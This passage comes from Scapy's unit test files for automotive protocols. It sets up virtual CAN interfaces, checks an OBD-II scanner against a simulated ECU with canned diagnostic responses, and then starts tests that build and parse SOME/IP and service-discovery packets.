virtual CAN interface ~ vcan_socket needs_root linux if 0 != call(["cansend", iface0, "000#"]): # vcan0 is not enabled if 0 != call(["sudo", "modprobe", "vcan"]): raise Exception("modprobe vcan failed") if 0 != call(["sudo", "ip", "link", "add", "name", iface0, "type", "vcan"]): print("add %s failed: Maybe it was already up?" % iface0) if 0 != call(["sudo", "ip", "link", "set", "dev", iface0, "up"]): raise Exception("could not bring up %s" % iface0) if 0 != call(["cansend", iface0, "000#"]): raise Exception("cansend doesn't work") if 0 != call(["cansend", iface1, "000#"]): # vcan1 is not enabled if 0 != call(["sudo", "modprobe", "vcan"]): raise Exception("modprobe vcan failed") if 0 != call(["sudo", "ip", "link", "add", "name", iface1, "type", "vcan"]): print("add %s failed: Maybe it was already up?" % iface1) if 0 != call(["sudo", "ip", "link", "set", "dev", iface1, "up"]): raise Exception("could not bring up %s" % iface1) if 0 != call(["cansend", iface1, "000#"]): raise Exception("cansend doesn't work") print("CAN should work now") = Import CANSocket from scapy.contrib.cansocket_python_can import * new_can_socket = lambda iface: CANSocket(bustype='virtual', channel=iface) new_can_socket0 = lambda: CANSocket(bustype='virtual', channel=iface0, timeout=0.01) new_can_socket1 = lambda: CANSocket(bustype='virtual', channel=iface1, timeout=0.01) # utility function for draining a can interface, asserting that no packets are there def drain_bus(iface=iface0, assert_empty=True): with new_can_socket(iface) as s: pkts = s.sniff(timeout=0.1) if assert_empty: assert len(pkts) == 0 = Overwrite definition for vcan_socket systems native sockets ~ vcan_socket not_pypy needs_root linux if six.PY3 and LINUX: from scapy.contrib.cansocket_native import * new_can_socket = lambda iface: CANSocket(iface) new_can_socket0 = lambda: CANSocket(iface0) new_can_socket1 = lambda: CANSocket(iface1) = Overwrite definition for vcan_socket systems python-can sockets ~ vcan_socket needs_root linux if "python_can" in CANSocket.__module__: new_can_socket = lambda iface: CANSocket(bustype='socketcan', channel=iface, bitrate=250000, timeout=0.01) new_can_socket0 = lambda: CANSocket(bustype='socketcan', channel=iface0, bitrate=250000, timeout=0.01) new_can_socket1 = lambda: CANSocket(bustype='socketcan', channel=iface1, bitrate=250000, timeout=0.01) = Verify that a CAN socket can be created and closed s = new_can_socket(iface0) s.close() = Check if can-isotp and can-utils are installed on this system ~ linux p1 = subprocess.Popen(['lsmod'], stdout = subprocess.PIPE) p2 = subprocess.Popen(['grep', '^can_isotp'], stdout = subprocess.PIPE, stdin=p1.stdout) p1.stdout.close() if p1.wait() == 0 and p2.wait() == 0 and b"can_isotp" in p2.stdout.read(): p = subprocess.Popen(["isotpsend", "-s1", "-d0", iface0], stdin = subprocess.PIPE) p.communicate(b"01") if p.returncode == 0: ISOTP_KERNEL_MODULE_AVAILABLE = True + Syntax check = Import isotp conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': ISOTP_KERNEL_MODULE_AVAILABLE} if six.PY3: import importlib if "scapy.contrib.isotp" in sys.modules: importlib.reload(scapy.contrib.isotp) load_contrib("isotp", globals_dict=globals()) if six.PY3 and ISOTP_KERNEL_MODULE_AVAILABLE: assert ISOTPSocket == ISOTPNativeSocket else: assert ISOTPSocket == ISOTPSoftSocket ############ ############ + Load general modules = Load contribution layer load_contrib("automotive.obd.obd", globals_dict=globals()) + Load OBD_scan = imports from subprocess import call load_contrib("automotive.obd.scanner", globals_dict=globals()) load_contrib("automotive.ecu", globals_dict=globals()) print("Set delay to lower utilization") conf.contribs['ECU_am']['send_delay'] = 0.004 = Create answers responses = [ ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=0)/OBD_PID00(supported_pids=3191777299)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=1)/OBD_PID01(mil=0, dtc_count=0, reserved1=0, continuous_tests_ready=0, reserved2=0, continuous_tests_supported=7, once_per_trip_tests_supported=225, once_per_trip_tests_ready=0)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=11)/OBD_PID0B(data=44)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=12)/OBD_PID0C(data=857.0)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=13)/OBD_PID0D(data=0)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=14)/OBD_PID0E(data=3.5)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=15)/OBD_PID0F(data=22.0)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=17)/OBD_PID11(data=14.51)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=19)/OBD_PID13(sensors_present=3)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=21)/OBD_PID15(outputVoltage=1.275, trim=99.219)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=28)/OBD_PID1C(data=6)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=3)/OBD_PID03(fuel_system1=2, fuel_system2=0)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=31)/OBD_PID1F(data=13)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=32)/OBD_PID20(supported_pids=2684465153)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=33)/OBD_PID21(data=0)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=35)/OBD_PID23(data=24910)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=4)/OBD_PID04(data=9.804)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=48)/OBD_PID30(data=19)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=49)/OBD_PID31(data=3587)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=5)/OBD_PID05(data=41.0)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=51)/OBD_PID33(data=97)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=52)/OBD_PID34(equivalence_ratio=1.001, current=128.004)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=6)/OBD_PID06(data=0.0)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=64)/OBD_PID40(supported_pids=244352000)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=69)/OBD_PID45(data=3.922)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=7)/OBD_PID07(data=-0.781)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=70)/OBD_PID46(data=20.0)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=71)/OBD_PID47(data=12.549)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=73)/OBD_PID49(data=5.49)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=76)/OBD_PID4C(data=3.922)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=81)/OBD_PID51(data=1)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=86)/OBD_PID56(bank1=0.0)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=67)/OBD_S03_PR(count=0)), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=0)/OBD_MID00(supported_mids=3221225473)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=1)/OBD_MIDXX(standardized_test_id=131, unit_and_scaling_id=4, test_value=0.0, min_limit=0.0, max_limit=1.0),OBD_S06_PR_Record(mid=1)/OBD_MIDXX(standardized_test_id=138, unit_and_scaling_id=132, test_value=0.996, min_limit=-32.768, max_limit=1.06),OBD_S06_PR_Record(mid=1)/OBD_MIDXX(standardized_test_id=139, unit_and_scaling_id=132, test_value=0.996, min_limit=0.94, max_limit=32.767)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=128)/OBD_MID80(supported_mids=1)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=160)/OBD_MIDA0(supported_mids=4160749568)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=161)/OBD_MIDXX(standardized_test_id=12, unit_and_scaling_id=36, test_value=0, min_limit=0, max_limit=65535)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=162)/OBD_MIDXX(standardized_test_id=12, unit_and_scaling_id=36, test_value=0, min_limit=0, max_limit=65535),OBD_S06_PR_Record(mid=162)/OBD_MIDXX(standardized_test_id=11, unit_and_scaling_id=36, test_value=2, min_limit=0, max_limit=65535)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=163)/OBD_MIDXX(standardized_test_id=12, unit_and_scaling_id=36, test_value=0, min_limit=0, max_limit=65535),OBD_S06_PR_Record(mid=163)/OBD_MIDXX(standardized_test_id=11, unit_and_scaling_id=36, test_value=1, min_limit=0, max_limit=65535)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=164)/OBD_MIDXX(standardized_test_id=12, unit_and_scaling_id=36, test_value=0, min_limit=0, max_limit=65535),OBD_S06_PR_Record(mid=164)/OBD_MIDXX(standardized_test_id=11, unit_and_scaling_id=36, test_value=1, min_limit=0, max_limit=65535)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=165)/OBD_MIDXX(standardized_test_id=12, unit_and_scaling_id=36, test_value=0, min_limit=0, max_limit=65535),OBD_S06_PR_Record(mid=165)/OBD_MIDXX(standardized_test_id=11, unit_and_scaling_id=36, test_value=1, min_limit=0, max_limit=65535)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=2)/OBD_MIDXX(standardized_test_id=145, unit_and_scaling_id=177, test_value=3944, min_limit=900, max_limit=65534),OBD_S06_PR_Record(mid=2)/OBD_MIDXX(standardized_test_id=149, unit_and_scaling_id=10, test_value=764.696, min_limit=719.556, max_limit=7995.27),OBD_S06_PR_Record(mid=2)/OBD_MIDXX(standardized_test_id=150, unit_and_scaling_id=10, test_value=115.412, min_limit=0.0, max_limit=179.95)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=32)/OBD_MID20(supported_mids=2147485697)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=33)/OBD_MIDXX(standardized_test_id=132, unit_and_scaling_id=3, test_value=2.63, min_limit=1.0, max_limit=655.35)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=53)/OBD_MIDXX(standardized_test_id=128, unit_and_scaling_id=28, test_value=32.42, min_limit=10.0, max_limit=655.35),OBD_S06_PR_Record(mid=53)/OBD_MIDXX(standardized_test_id=129, unit_and_scaling_id=28, test_value=25.41, min_limit=10.0, max_limit=655.35),OBD_S06_PR_Record(mid=53)/OBD_MIDXX(standardized_test_id=130, unit_and_scaling_id=28, test_value=0.21, min_limit=0.0, max_limit=10.0),OBD_S06_PR_Record(mid=53)/OBD_MIDXX(standardized_test_id=131, unit_and_scaling_id=28, test_value=0.0, min_limit=0.0, max_limit=10.0),OBD_S06_PR_Record(mid=53)/OBD_MIDXX(standardized_test_id=132, unit_and_scaling_id=36, test_value=0, min_limit=0, max_limit=3),OBD_S06_PR_Record(mid=53)/OBD_MIDXX(standardized_test_id=133, unit_and_scaling_id=36, test_value=0, min_limit=0, max_limit=3),OBD_S06_PR_Record(mid=53)/OBD_MIDXX(standardized_test_id=134, unit_and_scaling_id=36, test_value=0, min_limit=0, max_limit=3),OBD_S06_PR_Record(mid=53)/OBD_MIDXX(standardized_test_id=135, unit_and_scaling_id=36, test_value=0, min_limit=0, max_limit=3)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=64)/OBD_MID40(supported_mids=3221225473)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=65)/OBD_MIDXX(standardized_test_id=133, unit_and_scaling_id=22, test_value=720.0, min_limit=700.0, max_limit=6513.5)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=66)/OBD_MIDXX(standardized_test_id=144, unit_and_scaling_id=20, test_value=401, min_limit=0, max_limit=800)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=96)/OBD_MID60(supported_mids=1)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=71)/OBD_S07_PR(count=0)), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=73)/OBD_S09_PR(data_records=[OBD_S09_PR_Record(iid=0)/OBD_IID00(supported_iids=1430405120)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=73)/OBD_S09_PR(data_records=[OBD_S09_PR_Record(iid=10)/OBD_IID0A(ecu_names=[b'ECM\x00-EngineControl\x00\x00'], count=1)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=73)/OBD_S09_PR(data_records=[OBD_S09_PR_Record(iid=15)/Raw(load=b'\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00HM0876')])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=73)/OBD_S09_PR(data_records=[OBD_S09_PR_Record(iid=18)/Raw(load=b'\x01\x00\xd5')])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=73)/OBD_S09_PR(data_records=[OBD_S09_PR_Record(iid=2)/OBD_IID02(vehicle_identification_numbers=[b'WDD1xxxxxxxxxxx11'], count=1)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=73)/OBD_S09_PR(data_records=[OBD_S09_PR_Record(iid=4)/OBD_IID04(calibration_identifications=[b'282xxxxxxx300044', b'00090xxxxxx00031'], count=2)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=73)/OBD_S09_PR(data_records=[OBD_S09_PR_Record(iid=6)/OBD_IID06(calibration_verification_numbers=[b'\xf9\x10\xb9\xfb', b'&6"e'], count=2)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=73)/OBD_S09_PR(data_records=[OBD_S09_PR_Record(iid=8)/OBD_IID08(data=[9, 189, 8, 9, 0, 0, 8, 9, 0, 0, 22, 9, 0, 0, 0, 0, 8, 9, 0, 0], count=20)])), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=127)/OBD_NR(request_service_id=1, response_code=49)), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=127)/OBD_NR(request_service_id=10, response_code=49)), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=127)/OBD_NR(request_service_id=6, response_code=49)), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=127)/OBD_NR(request_service_id=8, response_code=17)), ECUResponse(session=range(0, 255), security_level=0, responses=OBD(service=127)/OBD_NR(request_service_id=9, response_code=49))] + Simulate scanner = Run scanner with real world responses short scan exit_if_no_isotp_module() drain_bus(iface0) with new_can_socket0() as isocan_ecu, ISOTPSocket(isocan_ecu, 0x7e8, 0x7e0, basecls=OBD, padding=True) as ecu: answering_machine = ECU_am(supported_responses=responses, main_socket=ecu, basecls=OBD) sim = threading.Thread(target=answering_machine, kwargs={"timeout": 60, "stop_filter": lambda x: bytes(x) == b"\xff\xff\xff"}) sim.start() try: with new_can_socket0() as isocan, ISOTPSocket(isocan, 0x7e0, 0x7e8, basecls=OBD, padding=True) as socket: s = OBD_Scanner(socket, full_scan=False) s.scan() socket.send(b"\xff\xff\xff") finally: sim.join(timeout=10) assert len(s.enumerators) == 8 assert s.enumerators[0].__class__ == OBD_S01_Enumerator assert s.enumerators[1].__class__ == OBD_S02_Enumerator assert s.enumerators[2].__class__ == OBD_S06_Enumerator assert s.enumerators[3].__class__ == OBD_S08_Enumerator assert s.enumerators[4].__class__ == OBD_S09_Enumerator assert s.enumerators[5].__class__ == OBD_S03_Enumerator assert s.enumerators[6].__class__ == OBD_S07_Enumerator assert s.enumerators[7].__class__ == OBD_S0A_Enumerator assert len(s.enumerators[0].results) == 33 # 32 pos resps + 1 NR assert len([r for _, _, r in s.enumerators[0].results if r is not None and r.service == 0x7f]) == 1 assert len(s.enumerators[1].results) == 1 # 1 NR assert len([r for _, _, r in s.enumerators[1].results if r is not None and r.service == 0x7f]) == 1 assert len(s.enumerators[2].results) == 18 # 17 pos resps + 1 NR assert len([r for _, _, r in s.enumerators[2].results if r is not None and r.service == 0x7f]) == 1 assert len(s.enumerators[3].results) == 1 # 1 NR assert len([r for _, _, r in s.enumerators[3].results if r is not None and r.service == 0x7f]) == 1 assert len(s.enumerators[4].results) == 9 # 8 pos resps + 1 NR assert len([r for _, _, r in s.enumerators[4].results if r is not None and r.service == 0x7f]) == 1 assert len(s.enumerators[5].results) == 1 # 1 PR assert len(s.enumerators[6].results) == 1 # 1 PR assert len(s.enumerators[7].results) == 1 # 1 PR = Run scanner with real world responses full scan exit_if_no_isotp_module() drain_bus(iface0) with new_can_socket0() as isocan_ecu, ISOTPSocket(isocan_ecu, 0x7e8, 0x7e0, basecls=OBD, padding=True) as ecu: answering_machine = ECU_am(supported_responses=responses, main_socket=ecu, basecls=OBD) sim = threading.Thread(target=answering_machine, kwargs={"timeout": 60, "stop_filter": lambda x: bytes(x) == b"\xff\xff\xff"}) sim.start() try: with new_can_socket0() as isocan, ISOTPSocket(isocan, 0x7e0, 0x7e8, basecls=OBD, padding=True) as socket: s = OBD_Scanner(socket, full_scan=True) s.scan() socket.send(b"\xff\xff\xff") finally: sim.join(timeout=10) assert len(s.enumerators) == 8 assert s.enumerators[0].__class__ == OBD_S01_Enumerator assert s.enumerators[1].__class__ == OBD_S02_Enumerator assert s.enumerators[2].__class__ == OBD_S06_Enumerator assert s.enumerators[3].__class__ == OBD_S08_Enumerator assert s.enumerators[4].__class__ == OBD_S09_Enumerator assert s.enumerators[5].__class__ == OBD_S03_Enumerator assert s.enumerators[6].__class__ == OBD_S07_Enumerator assert s.enumerators[7].__class__ == OBD_S0A_Enumerator assert len(s.enumerators[0].results) == 0x100 # 32 pos resps + 1 NR assert len([r for _, _, r in s.enumerators[0].results if r is not None and r.service == 0x7f]) == 0x100 - 32 assert len(s.enumerators[1].results) == 0x100 assert len([r for _, _, r in s.enumerators[1].results if r is not None and r.service == 0x7f]) == 0x100 assert len(s.enumerators[2].results) == 0x100 # 17 pos resps assert len([r for _, _, r in s.enumerators[2].results if r is not None and r.service == 0x7f]) == 0x100 - 17 assert len(s.enumerators[3].results) == 0x100 assert len([r for _, _, r in s.enumerators[3].results if r is not None and r.service == 0x7f]) == 0x100 assert len(s.enumerators[4].results) == 0x100 # 8 pos resps assert len([r for _, _, r in s.enumerators[4].results if r is not None and r.service == 0x7f]) == 0x100 - 8 assert len(s.enumerators[5].results) == 1 # 1 PR assert len(s.enumerators[6].results) == 1 # 1 PR assert len(s.enumerators[7].results) == 1 # 1 PR = Run scanner only for Service 01 real world responses exit_if_no_isotp_module() drain_bus(iface0) with new_can_socket0() as isocan_ecu, ISOTPSocket(isocan_ecu, 0x7e8, 0x7e0, basecls=OBD, padding=True) as ecu: answering_machine = ECU_am(supported_responses=responses, main_socket=ecu, basecls=OBD) sim = threading.Thread(target=answering_machine, kwargs={"timeout": 60, "stop_filter": lambda x: bytes(x) == b"\xff\xff\xff"}) sim.start() try: with new_can_socket0() as isocan, ISOTPSocket(isocan, 0x7e0, 0x7e8, basecls=OBD, padding=True) as socket: s = OBD_Scanner(socket, enumerators=[OBD_S01_Enumerator], full_scan=False) s.scan() socket.send(b"\xff\xff\xff") finally: sim.join(timeout=10) assert len(s.enumerators) == 1 assert s.enumerators[0].__class__ == OBD_S01_Enumerator assert len(s.enumerators[0].results) == 33 # 32 pos resps + 1 NR assert len([r for _, _, r in s.enumerators[0].results if r is not None and r.service == 0x7f]) == 1 + Cleanup = Delete vcan interfaces ~ vcan_socket needs_root linux if 0 != call(["sudo", "ip", "link", "delete", iface0]): raise Exception("%s could not be deleted" % iface0) if 0 != call(["sudo", "ip", "link", "delete", iface1]): raise Exception("%s could not be deleted" % iface1) scapy-2.4.4/test/contrib/automotive/someip.uts000066400000000000000000000551511372370053500215200ustar00rootroot00000000000000# MIT License # Copyright (c) 2018 Jose Amores # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. # This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Sebastian Baar # This program is published under a GPLv2 license ########## ########## + Basic operations = Load module load_contrib("automotive.someip", globals_dict=globals()) + SOME/IP operation = Basic build p = SOMEIP() pstr = bytes(p) binstr = b"\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x01\x01\x00\x00" assert(pstr == binstr) = Build with empty payload p.payload = Raw(b"") pstr = bytes(p) binstr = b"\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x01\x01\x00\x00" assert(pstr == binstr) = Build with non-empty payload p.payload = Raw(b"\xde\xad\xbe\xef") pstr = bytes(p) binstr = b"\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x01\x01\x00\x00\xde\xad\xbe\xef" assert(pstr == binstr) = Dissect EVENT_ID packet p = SOMEIP(b"\x11\x11\x81\x11\x00\x00\x00\x04\x33\x33\x44\x44\x02\x03\x04\x05") assert(p.srv_id == 0x1111) assert(p.sub_id == 0x1) assert(p.method_id == None) assert(p.event_id == 0x0111) assert(p.client_id == 0x3333) assert(p.session_id == 0x4444) assert(p.proto_ver == 0x02) assert(p.iface_ver == 0x03) assert(p.msg_type == 0x04) assert(p.retcode == 0x05) = Dissect METHOD_ID packet p = SOMEIP(b"\x11\x11\x01\x11\x00\x00\x00\x04\x33\x33\x44\x44\x02\x03\x04\x05") assert(p.srv_id == 0x1111) assert(p.sub_id == 0x0) assert(p.method_id == 0x0111) assert(p.event_id == None) assert(p.client_id == 0x3333) assert(p.session_id == 0x4444) assert(p.proto_ver == 0x02) assert(p.iface_ver == 0x03) assert(p.msg_type == 0x04) assert(p.retcode == 0x05) + SOME/IP-TP operation = Build TP p = SOMEIP() p.msg_type = 0x20 pstr = bytes(p) print(pstr) binstr = b'\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x01\x01\x20\x00\x00\x00\x00\x00' assert(pstr == binstr) p.more_seg = 1 pstr = bytes(p) binstr = b'\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x01\x01\x20\x00\x00\x00\x00\x01' assert(pstr == binstr) p.msg_type = 0x00 pstr = bytes(p) binstr = b'\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x01\x01\x00\x00' assert(pstr == binstr) = Dissect TP p = SOMEIP(b'\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x01\x01\x21\x00\x00\x00\x00\x01') assert(p.msg_type == 0x21) assert(p.more_seg == 1) assert(p.len == 12) p.msg_type = 0x00 pstr = bytes(p) binstr = b"\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x01\x01\x00\x00" assert(pstr == binstr) = Build TP fragmented p = SOMEIP() p.msg_type = 0x20 p.add_payload(Raw("A"*1400)) f = p.fragment() assert(f[0].len == 1404) assert(f[1].len == 20) assert(f[0].payload == Raw("A"*1392)) assert(f[1].payload == Raw("A"*8)) assert(f[0].more_seg == 1) assert(f[1].more_seg == 0) + SD Entry Service = Check packet length on empty build p = SDEntry_Service() assert(len(bytes(p)) == SDENTRY_OVERALL_LEN) = Build 1 p = SDEntry_Service(type = SDENTRY_TYPE_SRV_OFFERSERVICE, index_1 = 0x11, index_2 = 0x22, srv_id = 0x3333, inst_id = 0x4444, major_ver = 0x55, ttl = 0x666666, minor_ver = 0xdeadbeef) p_str = bytes(p) bin_str = b"\x01\x11\x22\x00\x33\x33\x44\x44\x55\x66\x66\x66\xde\xad\xbe\xef" assert(p_str == bin_str) assert(len(p_str) == SDENTRY_OVERALL_LEN) = Build 2 p = SDEntry_Service(n_opt_1 = 0xf1, n_opt_2 = 0xf2) p_str = bytes(p) bin_str = b"\x00\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" assert(p_str == bin_str) assert(len(p_str) == SDENTRY_OVERALL_LEN) = Dissect p = SDEntry_Service( b"\x01\x22\x33\x00\x44\x44\x55\x55\x66\x77\x77\x77\xde\xad\xbe\xef") assert(p.type == SDENTRY_TYPE_SRV_OFFERSERVICE) assert(p.index_1 == 0x22) assert(p.index_2 == 0x33) assert(p.srv_id == 0x4444) assert(p.inst_id == 0x5555) assert(p.major_ver == 0x66) assert(p.ttl == 0x777777) assert(p.minor_ver == 0xdeadbeef) + SD Entry Eventgroup = Check packet length on empty build p = SDEntry_EventGroup() assert(len(bytes(p)) == SDENTRY_OVERALL_LEN) = Build p = SDEntry_EventGroup(index_1 = 0x11, index_2 = 0x22, srv_id = 0x3333, inst_id = 0x4444, major_ver = 0x55, ttl = 0x666666, cnt = 0x7, eventgroup_id = 0x8888) p_str = bytes(p) bin_str = b"\x06\x11\x22\x00\x33\x33\x44\x44\x55\x66\x66\x66\x00\x07\x88\x88" assert(p_str == bin_str) assert(len(bytes(p)) == SDENTRY_OVERALL_LEN) = Dissect p = SDEntry_EventGroup( b"\x06\x11\x22\x00\x33\x33\x44\x44\x55\x66\x66\x66\x00\x07\x88\x88") assert(p.index_1 == 0x11) assert(p.index_2 == 0x22) assert(p.srv_id == 0x3333) assert(p.inst_id == 0x4444) assert(p.major_ver == 0x55) assert(p.ttl == 0x666666) assert(p.cnt == 0x7) assert(p.eventgroup_id == 0x8888) + SD Flags = Build and check flags p = SD() p.set_flag("REBOOT", 1) assert(p.flags == 0x80) p.set_flag("REBOOT", 0) assert(p.flags == 0x00) p.set_flag("UNICAST", 1) assert(p.flags == 0x40) p.set_flag("UNICAST", 0) assert(p.flags == 0x00) p.set_flag("REBOOT", 1) p.set_flag("UNICAST", 1) assert(p.flags == 0xc0) + SD Get SOME/IP Packet = Build empty p = SOMEIP() / SD() assert(len(bytes(p)) == SOMEIP._OVERALL_LEN_NOPAYLOAD + 12) = Verify constants against spec 